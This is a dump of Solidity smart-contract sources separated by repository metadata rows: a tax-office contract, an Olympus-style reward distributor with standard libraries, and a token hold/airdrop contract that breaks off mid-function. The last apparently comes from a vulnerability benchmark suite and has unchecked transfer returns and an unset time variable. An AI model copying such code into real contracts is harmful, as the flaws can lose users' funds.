uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface ITaxable {
function setTaxTiersTwap(uint8 _index, uint256 _value) external returns (bool);
function setTaxTiersRate(uint8 _index, uint256 _value) external returns (bool);
function enableAutoCalculateTax() external;
function disableAutoCalculateTax() external;
function setTaxCollectorAddress(address _taxCollectorAddress) external;
function isAddressExcluded(address _address) external returns (bool);
function setTaxRate(uint256 _taxRate) external;
function setBurnThreshold(uint256 _burnThreshold) external;
function excludeAddress(address _address) external returns (bool);
function includeAddress(address _address) external returns (bool);
function setStoneOracle(address _stoneOracle) external;
function setTaxOffice(address _taxOffice) external;
function taxRate() external view returns (uint256);
}
contract TaxOfficeV2 is Operator {
using SafeMath for uint256;
address public stone = address(0xC72C61087F3e523Ef5b409A17EeC1e1c47386a6D);
address public wftm = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address public uniRouter = address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
mapping(address => bool) public taxExclusionEnabled;
function setTaxTiersTwap(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(stone).setTaxTiersTwap(_index, _value);
}
function setTaxTiersRate(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(stone).setTaxTiersRate(_index, _value);
}
function enableAutoCalculateTax() public onlyOperator {
ITaxable(stone).enableAutoCalculateTax();
}
function disableAutoCalculateTax() public onlyOperator {
ITaxable(stone).disableAutoCalculateTax();
}
function setTaxRate(uint256 _taxRate) public onlyOperator {
ITaxable(stone).setTaxRate(_taxRate);
}
function setBurnThreshold(uint256 _burnThreshold) public onlyOperator {
ITaxable(stone).setBurnThreshold(_burnThreshold);
}
function setTaxCollectorAddress(address _taxCollectorAddress) public onlyOperator {
ITaxable(stone).setTaxCollectorAddress(_taxCollectorAddress);
}
function excludeAddressFromTax(address _address) external onlyOperator returns (bool) {
return _excludeAddressFromTax(_address);
}
function _excludeAddressFromTax(address _address) private returns (bool) {
if (!ITaxable(stone).isAddressExcluded(_address)) {
return ITaxable(stone).excludeAddress(_address);
}
}
function includeAddressInTax(address _address) external onlyOperator returns (bool) {
return _includeAddressInTax(_address);
}
function _includeAddressInTax(address _address) private returns (bool) {
if (ITaxable(stone).isAddressExcluded(_address)) {
return ITaxable(stone).includeAddress(_address);
}
}
function taxRate() external view returns (uint256) {
return ITaxable(stone).taxRate();
}
function addLiquidityTaxFree(address token,
uint256 amtStone,
uint256 amtToken,
uint256 amtStoneMin,
uint256 amtTokenMin)
external
returns (uint256,
uint256,
uint256)
{
require(amtStone != 0 && amtToken != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(stone).transferFrom(msg.sender, address(this), amtStone);
IERC20(token).transferFrom(msg.sender, address(this), amtToken);
_approveTokenIfNeeded(stone, uniRouter);
_approveTokenIfNeeded(token, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtStone;
uint256 resultAmtToken;
uint256 liquidity;
(resultAmtStone, resultAmtToken, liquidity) = IUniswapV2Router(uniRouter).addLiquidity(stone,
token,
amtStone,
amtToken,
amtStoneMin,
amtTokenMin,
msg.sender,
block.timestamp);
if(amtStone.sub(resultAmtStone) > 0) {
IERC20(stone).transfer(msg.sender, amtStone.sub(resultAmtStone));
}
if(amtToken.sub(resultAmtToken) > 0) {
IERC20(token).transfer(msg.sender, amtToken.sub(resultAmtToken));
}
return (resultAmtStone, resultAmtToken, liquidity);
}
function addLiquidityETHTaxFree(uint256 amtStone,
uint256 amtStoneMin,
uint256 amtFtmMin)
external
payable
returns (uint256,
uint256,
uint256)
{
require(amtStone != 0 && msg.value != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(stone).transferFrom(msg.sender, address(this), amtStone);
_approveTokenIfNeeded(stone, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtStone;
uint256 resultAmtFtm;
uint256 liquidity;
(resultAmtStone, resultAmtFtm, liquidity) = IUniswapV2Router(uniRouter).addLiquidityETH{value: msg.value}(stone,
amtStone,
amtStoneMin,
amtFtmMin,
msg.sender,
block.timestamp);
if(amtStone.sub(resultAmtStone) > 0) {
IERC20(stone).transfer(msg.sender, amtStone.sub(resultAmtStone));
}
return (resultAmtStone, resultAmtFtm, liquidity);
}
function setTaxableStoneOracle(address _stoneOracle) external onlyOperator {
ITaxable(stone).setStoneOracle(_stoneOracle);
}
function transferTaxOffice(address _newTaxOffice) external onlyOperator {
ITaxable(stone).setTaxOffice(_newTaxOffice);
}
function taxFreeTransferFrom(address _sender,
address _recipient,
uint256 _amt) external {
require(taxExclusionEnabled[msg.sender], "Address not approved for tax free transfers");
_excludeAddressFromTax(_sender);
IERC20(stone).transferFrom(_sender, _recipient, _amt);
_includeAddressInTax(_sender);
}
function setTaxExclusionForAddress(address _address, bool _excluded) external onlyOperator {
taxExclusionEnabled[_address] = _excluded;
}
function _approveTokenIfNeeded(address _token, address _router) private {
if (IERC20(_token).allowance(address(this), _router) == 0) {
IERC20(_token).approve(_router, type(uint256).max);
}
}
}
| 327,923 | 171 |
8da61b62f0f6d46ef3da902a73e693b020655eed35d5eae242054b62a629c573
| 18,525 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5f/5f1a6A5C41851C82D328ED146129978E592799d4_Distributor.sol
| 4,196 | 16,205 |
// SPDX-License-Identifier: AGPL-3.0-or-later
// .oPYo. ooo. .oo .oPYo.
// 8 8 8 `8. .P 8 8 8
// o8YooP' .oPYo. .oPYo. .oPYo. 8 `8 .P 8 8 8
// 8 8oooo8 8 8 8oooo8 8 8 oPooo8 8 8
// 8 8. 8 8 8. 8 .P .P 8 8 8
// 8 `Yooo' 8YooP' `Yooo' 8ooo' .P 8 `YooP'
// :..::::::.....:8 ....::.....:.....::..:::::..:.....:
// :::::::::::::::8 :::::::::::::::::::::::::::::::::::
// :::::::::::::::..:::::::::::::::::::::::::::::::::::
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 75,913 | 172 |
2b0084418b0e6c8da61552a7f3d2e6968bafec88f081f486042cd6d46782ecd2
| 17,354 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1928bb6121d9eb9f51eaf86d427425baa9ac1544.sol
| 5,652 | 16,767 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime);
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 public nowtime;
uint256 public Burnstatus;
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping (address => mapping (uint256 => uint256)) public Bigdata;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => uint256) public Holdplatform_status;
mapping(address => mapping (uint256 => uint256)) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothemoon() public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothe_moon() private {
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.user == msg.sender && s.amountbalance > 0) {
Unlocktoken(s.tokenAddress, s.id);
if (Statistics[s.user][s.tokenAddress][3] > 0) {
WithdrawAffiliate(s.user, s.tokenAddress);
}
}
}
}
function CashbackCode(address _cashbackcode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(amount >= 1);
require(add(Statistics[msg.sender][tokenAddress][5], amount) <= Bigdata[tokenAddress][5]);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000) {
cashbackcode[msg.sender] = EthereumNodes;
}
if (Bigdata[msg.sender][18] == 0) {
Bigdata[msg.sender][18] = now;
}
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);
Airdrop(msg.sender, tokenAddress, amount, 1);
}
}
function HodlTokens2(address ERC, uint256 amount) private {
address ref = cashbackcode[msg.sender];
uint256 ReferrerContribution = Statistics[ref][ERC][5];
uint256 AffiliateContribution = Statistics[msg.sender][ERC][5];
uint256 MyContribution = add(AffiliateContribution, amount);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0) {
uint256 nodecomission = div(mul(amount, 26), 100);
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission);
} else {
uint256 affcomission_one = div(mul(amount, 10), 100);
if (ReferrerContribution >= MyContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission_one);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission_one);
} else {
if (ReferrerContribution > AffiliateContribution) {
if (amount <= add(ReferrerContribution,AffiliateContribution)) {
uint256 AAA = sub(ReferrerContribution, AffiliateContribution);
uint256 affcomission_two = div(mul(AAA, 10), 100);
uint256 affcomission_three = sub(affcomission_one, affcomission_two);
} else {
uint256 BBB = sub(sub(amount, ReferrerContribution), AffiliateContribution);
affcomission_three = div(mul(BBB, 10), 100);
affcomission_two = sub(affcomission_one, affcomission_three); }
} else { affcomission_two = 0; affcomission_three = affcomission_one; }
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission_two);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission_two);
Statistics[EthereumNodes][ERC][3] = add(Statistics[EthereumNodes][ERC][3], affcomission_three);
Statistics[EthereumNodes][ERC][4] = add(Statistics[EthereumNodes][ERC][4], affcomission_three);
}
}
HodlTokens3(ERC, amount, ref);
}
function HodlTokens3(address ERC, uint256 amount, address ref) private {
uint256 AvailableBalances = div(mul(amount, 72), 100);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0)
{ uint256 AvailableCashback = 0; } else { AvailableCashback = div(mul(amount, 16), 100);}
ERC20Interface token = ERC20Interface(ERC);
uint256 HodlTime = add(now, Bigdata[ERC][2]);
_safes[idnumber] = Safe(idnumber, amount, HodlTime, msg.sender, ERC, token.symbol(), AvailableBalances, AvailableCashback, now, Bigdata[ERC][1], 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], amount);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], amount);
uint256 Burn = div(mul(amount, 2), 100);
Statistics[msg.sender][ERC][6] = add(Statistics[msg.sender][ERC][6], Burn);
Bigdata[ERC][6] = add(Bigdata[ERC][6], amount);
Bigdata[ERC][3] = add(Bigdata[ERC][3], amount);
if(Bigdata[msg.sender][8] == 1) {
idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; }
Bigdata[msg.sender][8] = 1;
emit onHoldplatform(msg.sender, ERC, token.symbol(), amount, HodlTime);
}
function Unlocktoken(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.tokenAddress == ERC);
if(s.endtime < nowtime){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now;
Airdrop(s.user, s.tokenAddress, amounttransfer, 2);
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onUnlocktoken(msg.sender, s.tokenAddress, s.tokenSymbol, s.amountbalance, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 lastwithdraw = s.amountbalance; } else { lastwithdraw = MaxAccumulation; }
s.lastwithdraw = add(s.cashbackbalance, lastwithdraw);
s.amountbalance = sub(s.amountbalance, lastwithdraw);
s.cashbackbalance = 0;
s.lasttime = now;
UnlockToken4(ERC, id, s.amountbalance, s.lastwithdraw);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.tokenAddress == ERC);
uint256 affiliateandburn = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
uint256 firstid = s.id;
if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == firstid) {
uint256 tokenreceived = sub(sub(sub(s.amount, affiliateandburn), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, affiliateandburn), newamountbalance) ;}
s.percentagereceive = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onUnlocktoken(msg.sender, s.tokenAddress, s.tokenSymbol, realAmount, now);
Airdrop(s.user, s.tokenAddress, realAmount, 2);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
if (Statistics[user][tokenAddress][6] > 0) {
uint256 burn = Statistics[user][tokenAddress][6];
Statistics[user][tokenAddress][6] = 0;
token.transfer(user, burn);
Bigdata[user][4] = add(Bigdata[user][4], burn);
Bigdata[tokenAddress][19]++;
}
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][11]++;
}
function Airdrop(address user, address tokenAddress, uint256 amount, uint256 divfrom) private {
uint256 divider = Holdplatform_divider[tokenAddress][divfrom];
if (Holdplatform_status[tokenAddress] == 1) {
if (Holdplatform_balance > 0 && divider > 0) {
uint256 airdrop = div(amount, divider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(user, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
Bigdata[tokenAddress][12]++;
emit onReceiveAirdrop(user, airdrop, now);
}
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(user == msg.sender);
require(Statistics[user][tokenAddress][3] > 0);
uint256 amount = Statistics[msg.sender][tokenAddress][3];
